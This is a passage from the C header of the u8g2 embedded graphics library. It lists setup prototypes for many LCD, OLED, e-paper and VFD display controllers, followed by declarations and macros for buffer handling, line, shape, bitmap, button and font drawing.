byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_128x64_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_128x64_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_128x64_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_160x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_160x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_t6963_160x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1320_160x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1320_160x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1320_160x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1320_160x132_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1320_160x132_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1320_160x132_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1320_160x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1320_160x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1320_160x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1320_i2c_160x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1320_i2c_160x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1320_i2c_160x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1322_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1322_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1322_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1322_nhd_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1322_nhd_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1322_nhd_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1322_nhd_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1322_nhd_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1322_nhd_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1362_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1362_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1362_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1362_i2c_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1362_i2c_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1362_i2c_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1362_206x36_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1362_206x36_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1362_206x36_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1362_i2c_206x36_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1362_i2c_206x36_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1362_i2c_206x36_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1606_172x72_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1606_172x72_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1606_172x72_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1607_200x200_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1607_gd_200x200_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1607_ws_200x200_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1607_200x200_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1607_gd_200x200_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1607_ws_200x200_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1607_200x200_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1607_gd_200x200_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ssd1607_ws_200x200_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_il3820_296x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_il3820_v2_296x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_il3820_296x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_il3820_v2_296x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_il3820_296x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_il3820_v2_296x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sed1330_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sed1330_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sed1330_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sed1330_256x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sed1330_256x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sed1330_256x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ra8835_nhd_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ra8835_nhd_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ra8835_nhd_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ra8835_320x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ra8835_320x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_ra8835_320x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sed1330_320x200_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sed1330_320x200_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_sed1330_320x200_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_max7219_64x8_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_max7219_64x8_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_max7219_64x8_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_max7219_32x8_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_max7219_32x8_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_max7219_32x8_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_max7219_8x8_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_max7219_8x8_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_max7219_8x8_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_s1d15300_lm6023_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_s1d15300_lm6023_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_s1d15300_lm6023_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_s1d15e06_160100_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_s1d15e06_160100_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_s1d15e06_160100_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_s1d15721_240x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_s1d15721_240x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_s1d15721_240x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_gu800_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_gu800_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_gu800_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_gu800_160x16_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_gu800_160x16_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_gu800_160x16_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_gp1287ai_256x50_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_gp1287ai_256x50_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_gp1287ai_256x50_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_gp1247ai_253x63_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_gp1247ai_253x63_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_gp1247ai_253x63_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_a2printer_384x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_a2printer_384x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); void u8g2_Setup_a2printer_384x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb); /* u8g2_d_setup.c generated code end */ /*==========================================*/ /* u8g2_buffer.c */ void u8g2_SendBuffer(u8g2_t *u8g2); void u8g2_ClearBuffer(u8g2_t *u8g2); void u8g2_SetBufferCurrTileRow(u8g2_t *u8g2, uint8_t row) U8G2_NOINLINE; void u8g2_FirstPage(u8g2_t *u8g2); uint8_t u8g2_NextPage(u8g2_t *u8g2); // Add ability to set buffer pointer #ifdef __ARM_LINUX__ #define U8G2_USE_DYNAMIC_ALLOC #endif #ifdef U8G2_USE_DYNAMIC_ALLOC #define u8g2_SetBufferPtr(u8g2, buf) ((u8g2)->tile_buf_ptr = (buf)); #define u8g2_GetBufferSize(u8g2) ((u8g2)->u8x8.display_info->tile_width * 8 * (u8g2)->tile_buf_height) #endif #define u8g2_GetBufferPtr(u8g2) ((u8g2)->tile_buf_ptr) #define u8g2_GetBufferTileHeight(u8g2) ((u8g2)->tile_buf_height) #define u8g2_GetBufferTileWidth(u8g2) (u8g2_GetU8x8(u8g2)->display_info->tile_width) /* the following variable is only valid after calling u8g2_FirstPage */ /* renamed from Page to Buffer: the CurrTileRow is the current row of the buffer, issue #370 */ #define u8g2_GetPageCurrTileRow(u8g2) ((u8g2)->tile_curr_row) #define u8g2_GetBufferCurrTileRow(u8g2) ((u8g2)->tile_curr_row) void u8g2_UpdateDisplayArea(u8g2_t *u8g2, uint8_t tx, uint8_t ty, uint8_t tw, uint8_t th); void u8g2_UpdateDisplay(u8g2_t *u8g2); void u8g2_WriteBufferPBM(u8g2_t *u8g2, void (*out)(const char *s)); void u8g2_WriteBufferXBM(u8g2_t *u8g2, void (*out)(const char *s)); /* SH1122, LD7032, ST7920, ST7986, LC7981, T6963, SED1330, RA8835, MAX7219, LS0 */ void u8g2_WriteBufferPBM2(u8g2_t *u8g2, void (*out)(const char *s)); void u8g2_WriteBufferXBM2(u8g2_t *u8g2, void (*out)(const char *s)); /*==========================================*/ /* u8g2_ll_hvline.c */ /* x,y Upper left position of the line within the local buffer (not the display!) len length of the line in pixel, len must not be 0 dir 0: horizontal line (left to right) 1: vertical line (top to bottom) assumption: all clipping done */ /* SSD13xx, UC17xx, UC16xx */ void u8g2_ll_hvline_vertical_top_lsb(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir); /* ST7920 */ void u8g2_ll_hvline_horizontal_right_lsb(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir); /*==========================================*/ /* u8g2_hvline.c */ /* u8g2_DrawHVLine does not use u8g2_IsIntersection */ void u8g2_DrawHVLine(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir); /* the following three function will do an intersection test of this is enabled with U8G2_WITH_INTERSECTION */ void u8g2_DrawHLine(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len); void u8g2_DrawVLine(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len); void u8g2_DrawPixel(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y); void u8g2_SetDrawColor(u8g2_t *u8g2, uint8_t color) U8G2_NOINLINE; /* u8g: u8g_SetColorIndex(u8g_t *u8g, uint8_t idx); */ /*==========================================*/ /* u8g2_bitmap.c */ void u8g2_SetBitmapMode(u8g2_t *u8g2, uint8_t is_transparent); void u8g2_DrawHorizontalBitmap(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, const uint8_t *b); void u8g2_DrawBitmap(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t cnt, u8g2_uint_t h, const uint8_t *bitmap); void u8g2_DrawXBM(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, const uint8_t *bitmap); void u8g2_DrawXBMP(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, const uint8_t *bitmap); /* assumes bitmap in PROGMEM */ /*==========================================*/ /* u8g2_intersection.c */ #ifdef U8G2_WITH_INTERSECTION uint8_t u8g2_IsIntersection(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t x1, u8g2_uint_t y1); #endif /* U8G2_WITH_INTERSECTION */ /*==========================================*/ /* u8g2_circle.c */ #define U8G2_DRAW_UPPER_RIGHT 0x01 #define U8G2_DRAW_UPPER_LEFT 0x02 #define U8G2_DRAW_LOWER_LEFT 0x04 #define U8G2_DRAW_LOWER_RIGHT 0x08 #define U8G2_DRAW_ALL (U8G2_DRAW_UPPER_RIGHT|U8G2_DRAW_UPPER_LEFT|U8G2_DRAW_LOWER_RIGHT|U8G2_DRAW_LOWER_LEFT) void u8g2_DrawCircle(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rad, uint8_t option); void u8g2_DrawDisc(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rad, uint8_t option); void u8g2_DrawEllipse(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rx, u8g2_uint_t ry, uint8_t option); void u8g2_DrawFilledEllipse(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rx, u8g2_uint_t ry, uint8_t option); /*==========================================*/ /* u8g2_line.c */ void u8g2_DrawLine(u8g2_t *u8g2, u8g2_uint_t x1, u8g2_uint_t y1, u8g2_uint_t x2, u8g2_uint_t y2); /*==========================================*/ /* u8g2_box.c */ void u8g2_DrawBox(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h); void u8g2_DrawFrame(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h); void u8g2_DrawRBox(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, u8g2_uint_t r); void u8g2_DrawRFrame(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, u8g2_uint_t r); /*==========================================*/ /* u8g2_button.c */ /* border width */ #define U8G2_BTN_BW_POS 0 #define U8G2_BTN_BW_MASK 7 #define U8G2_BTN_BW0 0x00 #define U8G2_BTN_BW1 0x01 #define U8G2_BTN_BW2 0x02 #define U8G2_BTN_BW3 0x03 /* enable shadow and define gap to button */ #define U8G2_BTN_SHADOW_POS 3 #define U8G2_BTN_SHADOW_MASK 0x18 #define U8G2_BTN_SHADOW0 0x08 #define U8G2_BTN_SHADOW1 0x10 #define U8G2_BTN_SHADOW2 0x18 /* text is displayed inverted */ #define U8G2_BTN_INV 0x20 /* horizontal center */ #define U8G2_BTN_HCENTER 0x40 /* second one pixel frame */ #define U8G2_BTN_XFRAME 0x80 void u8g2_DrawButtonFrame(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t flags, u8g2_uint_t text_width, u8g2_uint_t padding_h, u8g2_uint_t padding_v); void u8g2_DrawButtonUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t flags, u8g2_uint_t width, u8g2_uint_t padding_h, u8g2_uint_t padding_v, const char *text); /*==========================================*/ /* u8g2_polygon.c */ void u8g2_ClearPolygonXY(void); void u8g2_AddPolygonXY(u8g2_t *u8g2, int16_t x, int16_t y); void u8g2_DrawPolygon(u8g2_t *u8g2); void u8g2_DrawTriangle(u8g2_t *u8g2, int16_t x0, int16_t y0, int16_t x1, int16_t y1, int16_t x2, int16_t y2); /*==========================================*/ /* u8g2_kerning.c */ //uint8_t u8g2_GetNullKerning(u8g2_t *u8g2, uint16_t e1, uint16_t e2); uint8_t u8g2_GetKerning(u8g2_t *u8g2, u8g2_kerning_t *kerning, uint16_t e1, uint16_t e2); uint8_t u8g2_GetKerningByTable(u8g2_t *u8g2, const uint16_t *kt, uint16_t e1, uint16_t e2); /*==========================================*/ /* u8g2_font.c */ u8g2_uint_t u8g2_add_vector_y(u8g2_uint_t dy, int8_t x, int8_t y, uint8_t dir) U8G2_NOINLINE; u8g2_uint_t u8g2_add_vector_x(u8g2_uint_t dx, int8_t x, int8_t y, uint8_t dir) U8G2_NOINLINE; size_t u8g2_GetFontSize(const uint8_t *font_arg); #define U8G2_FONT_HEIGHT_MODE_TEXT 0 #define U8G2_FONT_HEIGHT_MODE_XTEXT 1 #define U8G2_FONT_HEIGHT_MODE_ALL 2 void u8g2_SetFont(u8g2_t *u8g2, const uint8_t *font); void u8g2_SetFontMode(u8g2_t *u8g2, uint8_t is_transparent); uint8_t u8g2_IsGlyph(u8g2_t *u8g2, uint16_t requested_encoding); int8_t u8g2_GetGlyphWidth(u8g2_t *u8g2, uint16_t requested_encoding); u8g2_uint_t u8g2_DrawGlyph(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint16_t encoding); u8g2_uint_t u8g2_DrawGlyphX2(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint16_t encoding); int8_t u8g2_GetStrX(u8g2_t *u8g2, const char *s); /* for u8g compatibility */ void u8g2_SetFontDirection(u8g2_t *u8g2, uint8_t dir); u8g2_uint_t u8g2_DrawStr(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str); u8g2_uint_t u8g2_DrawStrX2(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str); u8g2_uint_t u8g2_DrawUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str); u8g2_uint_t u8g2_DrawUTF8X2(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str); u8g2_uint_t u8g2_DrawExtendedUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint8_t to_left, u8g2_kerning_t *kerning, const char *str); u8g2_uint_t u8g2_DrawExtUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint8_t to_left, const uint16_t *kerning_table, const char *str); #define u8g2_GetMaxCharHeight(u8g2) ((u8g2)->font_info.max_char_height) #define u8g2_GetMaxCharWidth(u8g2) ((u8g2)->font_info.max_char_width) #define u8g2_GetAscent(u8g2) ((u8g2)->font_ref_ascent) #define u8g2_GetDescent(u8g2) ((u8g2)->font_ref_descent) #define 